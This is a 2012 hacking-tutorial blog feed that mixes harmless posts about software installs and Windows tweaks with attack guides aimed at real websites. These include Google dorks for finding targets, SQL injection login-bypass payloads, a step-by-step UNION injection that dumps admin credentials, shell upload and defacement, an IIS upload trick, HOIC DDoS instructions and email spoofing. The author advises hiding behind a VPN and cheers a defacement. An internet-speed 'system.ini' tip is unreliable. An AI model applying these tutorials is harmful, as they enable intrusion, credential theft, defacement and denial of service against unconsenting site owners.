Ethical Hacking Tutorials

How to install audacious mp3 player into the backtrack

Sat, 7 Jul 2012 03:15:00 -0700

In my previous tutorial i have explained what is backtrack and now in this tutorial i am going to show you how to install audacious mp3 player into the backtrack5 r2. In the windows operating system there is inbuilt windows media player but in backtrack5 you have to install the MP3 player manually. Just follow the simple steps to install the audacious mp3 player into the backtrack5 r2.

Boot your Backtrack 5
The default Passwords of the backtrack is root and password is toor.
Now open the terminal and type the following code.

apt-get install audacious

See the bellow code for reference.Now just hit Enter and it will install the audacious mp3 player into the backtrack.

How to improve internet speed

Fri, 6 Jul 2012 12:38:00 -0700

In this tutorial I am going to show you how to improve your internet speed effectively. I already know that you have search in google many time for improving internet speed but it was not working, right ? , yes. because in that kind of articles they are just discussing about the changing the DSN but its not improving the internet speed. Now lets start our tutorial. Follow the simple steps to improve your internet speed.

Download the system.ini file and paste it in c:\windows and replace old system.ini file with this file. Using the system.ini file you can easily improve your internet speed. Without replacing the system.ini file I was just getting the 70 KBPS downloading speed but now I am just getting 150 KBPS. It will take some time like 2-3 days.

Head First Java Ebook – The best book to learn core java

Fri, 6 Jul 2012 08:52:00 -0700

Head First Java is the best book for all those who want to be the expert of the JAVA. Its more interesting books and having inbuilt questions. This is the 2nd edition of this book. GTU’s reference book is complete reference JAVA but its little bit header then Head First Java. In Head First Java author have used graphics so you can remember all the things quickly and the language of the book is too much easy then the GTU’s reference book. You can download the Head First Java from here.

Hoic ddos tool

Fri, 29 Jun 2012 00:32:00 -0700

Hoic is the most powerful ddos tool. Using Hoic you can ddos any website and you can turn that website offline. Use this tool from more then five pc or tell your friend to ddose the same target and in a single hour the website will turn offline. you can download the Hoic ddose tool from here. Just open that tool and click on + targets and add your target and set the power and booster and after that set the threads. And then simply click on FIRE TEH LAZER and the ddose attack will start.

How to change the windows 7 login screen

Thu, 28 Jun 2012 21:54:00 -0700

Hello Everyone in this tutorial I am going to show you how to change your windows 7 login screen and how to customize your windows7 login screes. To change the windows7 login screen just Follow the simple steps.
1.Download Tuneup.
2.Open tuneup utility
3.Go to customize window
4.Now Just click on LOGON SCREEN
5.One windows will popup and in that Click on CREATE NEW
6.Now click on SEARCH LOCAL DRIVES and select your picture
7.Then click on SAVE LOGON screen and give it the name and press OK.
8.Now one another login screen is created now select the new login screen and click on APPLY and hit OK
Now you have done ! you can check your LOGON screen by pressing WINDOWS + L

Hide your file in image

Thu, 28 Jun 2012 21:54:00 -0700

In this tutorial I am going to show you how to hide your important data in to other files so your important data can be secure. Well in this tutorial I am going to hide my password in image file.
Follow the simple steps
1. Make a new folder
2. Paste image file and your important file
3. Now make a 2 copy of image and 1 your important data
4. Add 1 image and your data into winrar archive (as shown in bellow figure)

5. Now open CMD and go to your folder location in it.
6. Now execute the following command in the command prompt.

copy /b secure.jpg + securefile.rar safe.jpg

7. One new file named safe.jpg will be created. (see the snapshot bellow )
8. Now your file is safe
whenever anybody clicks on that file then it will just show the image it will not open the hidden data.
9. Now how can we get our data back ?
10. Open safe.jpg (which is safe file) with winrar and you will get your important data back.
if you have any query then feel free to make a comment.

What is Sql Injection ? How it works ?

Thu, 28 Jun 2012 21:53:00 -0700

“SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application “
Using the sql injection vulnerability attacker can get the database of the web application and can get the administrator username and password. After getting the username and password of the web application attacker will upload the shell and can deface the web application And using the shell attacker can root the server and all the web application can get defaced.
Here is the basic tutorial of the sql injection using the script. Here are some Google Dorks for basic sql injection.
Inurl:admin.asp
Inurl:administratior.asp
inurl:login.asp

Now open the search result and try to login with the following code if the web application is vulnerable then you can get the admin access else try another search result.
admin : ' or 1=1--
password : ' or 1=1--
here are more passwords.
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1—
Now after getting the admin access just upload the asp shell. In my next tutorial I will show you “what is shell and how to upload the shell”
If you have any question then feel free to make a comment.

What is shell ?

Thu, 28 Jun 2012 21:53:00 -0700

Shell is a tool using that attacker can deface the web application. There are mainly two types of shell PHP shells and ASP shells. PHP shells works only on php web application and ASP shells woks on asp web application. After uploading the shell if you want to deface the web application then simply find the index.html or default.asp and change the coding with your deface page. If the server is Linux based then you can root the server using exploits and you can defaced all the web application hosted on the same server. But if the server is Microsoft then you cant root the server because there is no root.
Using the shell you can do email spoofing means you can send email from any email address to any one.
If you get the admin access in to the site and you have uploaded your shell then dnt forget to use the email spoofing tool.

What is hacking ? And Where To Begin With Hacking ?

Thu, 28 Jun 2012 21:52:00 -0700

What is hacking ?

Hacking is unauthorized use of computer and network resources. The people engage in computer hacking activities are often called hackers. In simple word hacking is an art of exploiting.

Types of hackers.

There are 3 types of hackers white hat , gray hat and black hat. The brief introduction of white hat black hat and gray hat are as follow.

White hat Hackers

White hat hackers are Ethical hacker means they are good guys. They are friendly and trustable I am not telling to trust them but they are more trustable then black hat and gray hat hackers. White hat hackers have more knowledge about fighting against malwares and viruses. White hat hackers avoids illegal activates like defacing web applications. You may know that some people getting paid for reporting the vulnerability , they are white hat hackers. White hat hackers are just helping the people to secure their computer system.

Black hat hackers

Black hat hackers are the bad guys who hacks the system for their own profit. They are also known as the crackers. They makes the Trojan and viruses to get the information of the others. Black hat hackers are not trustable. They are just hacking in to the web application and defaces the web application. Mostly Black hatters cant get a decent job due to their illegal activities. They can be caught by the cyber security consultant and they might get jail for hacking the web application.

Gray hat hackers

Gray hat hackers are neither good nor bad guys. sometime they perform good task and sometime illegal task. They can also suspect jail time if they are just performing more illegal activities. They are just preforming activities like social accounts hacking and similar activities.

Where To Begin With Hacking ?

You must have advanced knowledge of the operating systems like windows , Linux etc. You must know some programming languages like Perl , PHP , SQL , Python , C and C++. Then start learning about Phishing , keylogging , spoofing , and web application hacking. I will post these articles on VOBH (Voice if Blackhat) so stay connected with us.

Hack website using IIS exploit

Thu, 28 Jun 2012 21:52:00 -0700

Hello every one today I am going to show you how to hack website using the IIS exploit. In IIS exploit you can upload your deface page or shell (Only asp shell ) without admin penal. This tutorial is only for windows7 user for Windows xp user I will publish it later.

Just Follow the simple steps to hack website using IIS exploit

1. Open My computer and right click anywhere and select “ Add a network location ”
2. Now one dialog box will be open then in it click on next
3. Again click on next and After that add your IIS vulnerable site.

4. Now just click ok and then give that web folder a name and then click on next and finally click on FINISH.
5. Now open that web folder and upload your deface page or shell then go to
www.yourwebsite.com/yourdefacepagename.html and you will get your deface page/ shell.

(here is some IIS vulnerable site list enjoy )

What is VPN and Proxy server ?

Thu, 28 Jun 2012 21:52:00 -0700

What is VPN ?

VPN stands for virtual private network. VPN keeps your communication safe by creating the encrypted tunnel. The tunnel is so encrypted that no one can decrypt the data. and the source and destination addresses are also encrypted so no one can know that what you are doing using your internet. You may know that in cyberoam admin can get the client data but if you are using the VPN then he will not get any data. (like your browsing history :P)

What is proxy ?

Using proxy you can bypass the BLOCKED sites. Proxies will just enables you to surf the sites which is blocked by your internet provider. In proxy network admin can see your browsing history. Proxy is not so secured like VPN. In my next tutorial I will explain how to use the proxy.

Which VPN to use ?

Use Ultra VPN because its Free and easy to use and will secure your wireless communication. Download it from here.

Basic SQL Injection

Thu, 28 Jun 2012 21:51:00 -0700

Today I am going to show you the Error based basic SQL injection. And yes in Voice Of Black hat I am explaining all the tutorial for educational purpose only, the author is not responsible for anything. And before attacking on any site please use VPN or Proxy. Just follow the simple steps to learn the basic SQL injection.

Finding the vulnerability

There are some Google dorks using that Google dork you can find the vulnerability. So here I am giving the most famous Google dork. How to use that dork ? Nothing to do just go to Google and paste the Google dork.

inurl:php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=

Now open any Google result and after the link just add ' (like this –> www.site.com/php?id=5’) if you found any error or any missing data from the webpage then the website is vulnerable to SQL injection. Now We have found the SQL vulnerable website.
Lets find the No of column
To find number of columns we use statement ORDER BY (tells database how to order the result). so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <—no error
http://www.site.com/news.php?id=5 order by 1/* <—no error
http://www.site.com/news.php?id=5 order by 2/* <—no error
http://www.site.com/news.php?id=5 order by 3/* <—no error
http://www.site.com/news.php?id=5 order by 4/ <—Error (<-- error (we get message like this Unknown column '4' in 'order clause' or something like that))

That means that the it has 3 columns, cause we got an error on 4. Now lets use the union function to grab most venerable point.

http://www.site.com/news.php?id=5 union all select 1,2,3/* (is its not showing the most vulnerable point then simply add – before 5 )

Now if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works.
Now lets say that 2 is the most vulnerable point of the website, Now lets find the version of the database if the version is grater then 5 then this method will work. Else there is a another method because there is no information_schema.
Lets find the version

http://www.site.com/news.php?id=5 union all select 1,version(),3/*

Now we got the version grater then 5 now this method will work.

http://www.site.com/news.php?id=5 union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() /*

Now we got some list of the table but we are interested only in admin id and password.
Look in that list of table is there any table called admin , admin penal etc.

http://www.site.com/news.php?id=5 union all select 1,group_concat(columns_name),3 from information_schema.columns where table_schema=database() /*

Ok, search for things similar to: user, username, users, id and pass, password, passwd, passw, pw.
Here I found: ru_user & ru_pass

Ok now we do this:

http://www.site.com/news.php?id=5 union all select 1,group_concat(ru_user,0x3a,ru_pass),3 from ru_admin /*

Now you got the user and password, in my case I got the plane text but sometime it will give you the hash you need to crack that hash. If there are 32 characters and A-F 1-9 then it is an md5 hash. md5decrypter.co.uk, md5crack.com are examples of online crackers, also Google the hash, it can give results. Error based SQL Injection is complete. Now use some Admin finer to get the admin penal. And in my net tutorial I will explain how to upload the shell , defacing a index page and clearing the logs.
If you have any query then feel free to make a comment.

What is Backtrack ?

Thu, 28 Jun 2012 21:50:00 -0700

Backtrack is a distribution based on the Debian GNU/Linux distribution aimed at digital forensics and penetration testing use. Backtrack is named after backtracking search algorithm. The latest version of backtrack is Backtrack 5 r2 and its code name is revolution. Backtrack have large collection of security-related tools like port scanning, password cracker, etc. Backtrack is a best operating system for hackers and security experts. Backtrack is a Linux based operating system so you can run it directly from pen drive or DVD without installing the operating system.

Backtrack includes very well known tools including:

1. Information gathering
2. Forensics

3. Vulnerability Assessment

4. Reporting Tools
5. Nmap
and many more tools.

Biggest Pakistani Webhosting site creativeon.com hacked by Team ICA

Thu, 28 Jun 2012 07:21:00 -0700

Once again Pakistani cyber space hit by Indian hackers! this time Team ICA have hacked creativeon.com having 30,819 world wide rank and having 246. It’s the biggest Pakistani webhosting company. Its in response to hack on Indian innocent websites. The link of the hacked website is here and Here is the mirror of the website.